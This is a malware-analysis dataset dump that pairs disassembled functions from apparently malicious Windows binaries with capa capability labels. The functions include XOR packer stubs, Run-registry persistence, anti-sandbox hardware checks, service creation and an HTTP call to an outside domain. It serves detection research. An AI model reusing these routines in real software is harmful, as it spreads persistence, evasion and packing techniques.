joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5709d0
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push edx
push eax
call sub.ws2_32.dll_connect
mov esp, ebp
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x59fc76b6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x675914e9
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call fcn.004048ff
add esp, 4
pop ebp
ret

Function at 0x401020
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0
push 0
push 1
push str.InternetConnection
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401049
xor eax, eax
jmp 0x4010d0
mov dword [ebp - 8], 0x3e8
push 4
lea eax, [ebp - 8]
push eax
push 2
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea edx, [ebp - 8]
push edx
push 6
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea ecx, [ebp - 8]
push ecx
push 5
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 0
push 0x4000000
push 0
push 0
push str.https:__www.byp4ssm3.lol_haha_
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4010b7
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x4010d0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4010e0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x4172c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x44], 0x40
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0
push 0x100000
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
call fcn.00401520
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x4c], 0
ja 0x40113a
cmp dword [ebp - 0x50], 0x8000
jb 0x401140
cmp dword [ebp - 0x48], 2
jae 0x401144
xor eax, eax
jmp 0x401149
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401507
mov esp, ebp
pop ebp
ret
Function at 0x401160
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
push 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x40118b
xor eax, eax
jmp 0x4011e7
mov edx, dword [ebp - 4]
push edx
call fcn.004045c6
add esp, 4
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov edx, dword [ebp + 0xc]
cmp dword [edx], 0
jne 0x4011a8
xor eax, eax
jmp 0x4011e7
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
push 1
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x4011da
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
call fcn.004045ab
add esp, 4
xor eax, eax
jmp 0x4011e7
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4011f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x401240
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x401255
push 0x10
push 0x417034
push str.Failed_to_create_file.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
mov esp, ebp
pop ebp
ret

Function at 0x401260
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], str.THALA_FOR_A_REASON
lea eax, [ebp - 8]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012bd
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404520
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp - 4]
push edx
push 1
push 0
push str.M_a_l_w_a_r_e
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x4012d2
push 0x10
push 0x4170a8
push str.Failed_Registry.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
mov esp, ebp
pop ebp
ret

Function at 0x401350
Capabilities:
Change the wallpaper

Disassembly:
push ebp
mov ebp, esp
push 3
mov eax, dword [ebp + 8]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
test eax, eax
jne 0x40137c
push 0x10
push 0x417100
push str.Failed_wallpaper.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
pop ebp
ret
Function at 0x401d80
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401dbf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401dbf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401dbf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401dbf
cmp dword [ecx + 0x74], 0xe
jbe 0x401dbf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40771a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411560
push 0x411558
push str.FlsAlloc
push 0x1f
call fcn.004075d9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40774e
push dword [ebp + 8]
mov ecx, esi
call dword [0x41016c]
call esi
jmp 0x407754
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x407798
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411570
push 0x411568
push str.FlsGetValue
push 0x21
call fcn.004075d9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4077cf
push dword [ebp + 8]
mov ecx, esi
call dword [0x41016c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4077d7
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411578
push 0x411570
push str.FlsSetValue
push 0x22
call fcn.004075d9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407811
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41016c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x408cbd
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408d5a
push ebx
push esi
call fcn.00408c86
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408c1a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x408d07
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408d59
push edi
push eax
call fcn.00405ebc
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408d27
call fcn.00405e82
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408d58
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408c1a
add esp, 0x20
test eax, eax
jne 0x408d46
push edi
call fcn.00405e82
jmp 0x408d4e
push ebx
call fcn.00405e82
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40f640
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40f66d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f66d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4011cb
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40401c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x404028
push 0x404024
push 0x404020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x404028]
push dword [0x404024]
push dword [0x404020]
mov dword [0x404014], esp
call fcn.00401317
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40123c
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov ecx, 0x4c
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x40124a
push edi
mov dword [ebp - 0x128], 0x128
mov dword [0x402034], 0
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xffffffff
je 0x4012f4
lea edi, [ebp - 0x128]
push edi
push dword [ebp - 0x130]
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 0x12c], eax
jmp 0x4012d6
push section..bss
lea edi, [ebp - 0x104]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
cmp eax, 0
jne 0x4012be
mov dword [0x402034], 1
lea edi, [ebp - 0x128]
push edi
push dword [ebp - 0x130]
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jne 0x40129b
cmp dword [0x402034], 1
je 0x4012f4
push 0
push section..bss
call sub.KERNEL32.DLL_WinExec
pop edi
leave
ret

Function at 0x401317
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
mov ecx, 2
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x401321
push ebx
push esi
push edi
push 0x400
push 0x402040
push 0
call main
push 0x32
push section..bss
call sub.KERNEL32.DLL_RtlZeroMemory
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push 0x402040
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 4], eax
push 2
push 0
push 0xffffffffffffffff
push dword [ebp - 4]
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea edi, [ebp - 8]
push edi
push 1
push section..bss
push dword [ebp - 4]
call sub.KERNEL32.DLL_ReadFile
push 2
push 0
mov ebx, 0xffffffff
movsx edi, byte [section..bss]
mov esi, ebx
sub esi, edi
push esi
push dword [ebp - 4]
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea edi, [ebp - 8]
push edi
movsx edi, byte [section..bss]
push edi
push section..bss
push dword [ebp - 4]
call sub.KERNEL32.DLL_ReadFile
call fcn.004012f7
mov eax, 0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0xb8d2685
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x559200fa
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x402850
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408048
call sym._EnterCriticalSection_4
mov ebx, dword [0x408040]
sub esp, 4
test ebx, ebx
je 0x40289b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402894
test esi, esi
je 0x402894
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402870
mov dword [esp], 0x408048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402a80
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402ad0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402ba8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402b0e
cmp eax, 4
jne 0x402b30
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402b1e
cmp edx, 4
je 0x402b1e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402a80

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40b12c
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
mov eax, dword [esi + 0x14]
test eax, eax
jne 0x40b141
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push edi
push eax
push 0x2712
push dword [esi + 4]
call fcn.0041c580
mov al, byte [ebp - 1]
add esp, 0xc
lea ecx, [ebp - 0x14]
mov byte [ebp - 0x14], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov edi, str.Mozilla_5.0__iPhone__CPU_iPhone_OS_14_0_1_like_Mac_OS_X__AppleWebKit_605.1.15__KHTML__like_Gecko__Mobile_15E148_MicroMessenger_8.0.27_0x18001b34__NetType_4G_Language_zh_CN
push edi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push edi
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebp - 0x10]
pop edi
test eax, eax
jne 0x40b188
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push eax
push 0x2722
push dword [esi + 4]
call fcn.0041c580
add esp, 0xc
push 5
push 0x44
push dword [esi + 4]
call fcn.0041c580
add esp, 0xc
push 1
push 0x34
push dword [esi + 4]
call fcn.0041c580
add esp, 0xc
push 1
push 0x63
push dword [esi + 4]
call fcn.0041c580
add esp, 0xc
push 0
push 0x2f
push dword [esi + 4]
call fcn.0041c580
add esp, 0xc
push 0x40b2bf
push 0x4e2b
push dword [esi + 4]
call fcn.0041c580
add esp, 0xc
push esi
push 0x2711
push dword [esi + 4]
call fcn.0041c580
add esp, 0xc
push 0
push 0x40
push dword [esi + 4]
call fcn.0041c580
add esp, 0xc
push 0
push 0x51
push dword [esi + 4]
call fcn.0041c580
add esp, 0xc
lea ecx, [ebp - 0x14]
push 1
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop esi
leave
ret

Function at 0x40b2dc
Capabilities:
Write file on windows

Disassembly:
push dword [ecx + 8]
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
ret 0xc

Function at 0x40ea72
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
mov dword [0x47623c], 1
push eax
xor eax, eax
push eax
push eax
push 0x40e9f8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
ret
Function at 0x40f3be
Capabilities:
Create service
Modify service

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 8]
push edi
push edi
push edi
push ecx
push 1
push 3
mov ebp, 0xf01ff
push 1
push ebp
push eax
push eax
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
cmp ebx, edi
jne 0x40f42a
mov eax, dword [esi + 8]
push ebp
push eax
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
cmp ebx, edi
je 0x40f426
cmp dword [esi + 0x24], edi
je 0x40f42a
mov eax, dword [esi + 8]
mov esi, dword [esi + 0xc]
push eax
push edi
push edi
push edi
push edi
push edi
push esi
push 1
push 3
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x40f42a
xor eax, eax
jmp 0x40f434
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x41186c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x41187a
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x10], 8
push esi
push edi
not eax
mov ecx, 0xff
jb 0x41195b
mov edi, dword [ebp + 0x10]
push ebx
shr edi, 3
movzx ebx, byte [edx]
mov esi, eax
sub dword [ebp + 0x10], 8
and esi, ecx
xor esi, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [esi*4 + 0x45ba0c]
xor eax, ebx
inc edx
mov esi, eax
movzx ebx, byte [edx]
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x45ba0c]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x45ba0c]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x45ba0c]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x45ba0c]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x45ba0c]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x45ba0c]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
shr eax, 8
mov esi, dword [esi*4 + 0x45ba0c]
xor eax, esi
inc edx
dec edi
jne 0x411897
pop ebx
cmp dword [ebp + 0x10], 0
je 0x41197c
movzx edi, byte [edx]
mov esi, eax
and esi, ecx
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x45ba0c]
xor eax, esi
inc edx
dec dword [ebp + 0x10]
jne 0x411961
pop edi
pop esi
not eax
pop ebp
ret